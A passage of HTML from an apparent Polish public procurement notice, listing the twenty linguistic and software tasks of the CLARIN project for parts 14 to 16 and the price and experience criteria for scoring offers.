wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 14</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 15</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 16</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 